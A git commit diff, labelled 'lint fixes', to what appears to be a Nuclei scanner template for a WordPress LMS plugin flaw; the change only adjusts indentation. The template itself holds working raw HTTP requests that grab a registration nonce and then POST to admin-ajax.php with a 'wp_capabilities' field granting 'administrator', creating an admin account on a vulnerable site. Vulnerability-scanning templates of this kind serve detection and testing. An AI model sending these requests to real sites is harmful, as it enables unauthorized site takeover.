lint fixes

patch-1
sandeep 2022-09-25 15:54:41 +05:30
parent c9ec1de7e4
commit e01994ef64
1 changed files with 11 additions and 10 deletions

View File

@ -15,21 +15,22 @@ info:
requests:
- raw:
- |
GET / HTTP/1.1
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce={{nonce}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=utf-8
- |
POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce={{nonce}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=utf-8
{"user_login":"{{rand_text_alphanumeric(8)}}","user_email":"{{rand_text_alphanumeric(8)}}@test.com","user_password":"Testtest123","user_password_re":"Testtest123","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}}
{"user_login":"{{rand_text_alphanumeric(8)}}","user_email":"{{rand_text_alphanumeric(8)}}@test.com","user_password":"Testtest123","user_password_re":"Testtest123","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}}
extractors:
- type: regex
name: nonce
group: 1
regex:
regex:
- '"stm_lms_register":"([0-9a-zA-Z]+)"'
internal: true
@ -47,4 +48,4 @@ requests:
- type: status
status:
- 200
- 200